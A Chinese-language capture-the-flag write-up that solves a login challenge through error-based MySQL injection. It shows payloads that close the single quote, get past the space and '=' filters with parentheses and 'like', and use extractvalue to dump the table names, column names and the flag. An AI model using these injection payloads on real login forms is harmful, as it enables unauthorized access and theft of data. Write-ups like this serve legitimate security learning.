image-20260526124023936

进来是一个表单,输入用户名和密码后跳转到一个另一个页面发现注入点

1
/check.php?username=1&password=1

传个单引号发现有报错

1
check.php?username='&password=1

image-20260526125612577

我们这下面的payload就都注入到username中了

这可以判断是单引号闭合的了,把单引号闭合后后面加一个中文单引号可以看到执行语句

1
check.php?username='’&password=1

image-20260526130337092

大概后端执行语句是这样

1
select * from table where username='1' and password='1'

在这里空格是被过滤了的,*也被过滤了,所以/**/也是用不了的,这里我们使用()绕过

这里试试两个or

1
admin'or(1)or'

image-20260526141912626

这直接登录成功了,但是没有什么东西,再试试0的发现是另一种结果

1
admin'or(0)or'

image-20260526142216927

这很容易想到布尔盲注,但是结果测试发现substr和substring和mid都被过滤了,当我觉得无从下手时,突然想到这个题目是有报错的,这个情况也可以用报错注入

传参

1
admin'or(select(extractvalue(1,concat('~',(select(database()))))))or'

image-20260526143028109

回显成功,这里=也被过滤了,用like代替

查表格

1
2
3
4
5
6
7
admin'or(select(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))))))or'1

响应:

Error!

XPATH syntax error: '~H4rDsq1'

得到表格H4rDsq1

只有一个表格也不需要指定表格了,查列名

1
2
3
4
5
6
7
admin'or(select(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where((table_schema)like(database())))))))or'1

响应:

Error!

XPATH syntax error: '~id,username,password'

提取flag

1
2
3
4
5
6
7
admin'or(select(extractvalue(1,concat('~',(select(group_concat(id,username,password))from(H4rDsq1))))))or'1

响应:

rror!

XPATH syntax error: '~1flagflag{59ef4fcc-446f-47ee-92'

因为mysql中错误消息的长度限制时32字符,这里采用right把后面的字符带出来

1
2
3
4
5
6
7
admin'or(select(extractvalue(1,concat('~',(select(right(group_concat(id,username,password),30))from(H4rDsq1))))))or'1

响应:

Error!

XPATH syntax error: '~c-446f-47ee-9211-7e5b754fb874}'

找到与前面对接的一段拼接得到flag

1
flag{59ef4fcc-446f-47ee-9211-7e5b754fb874}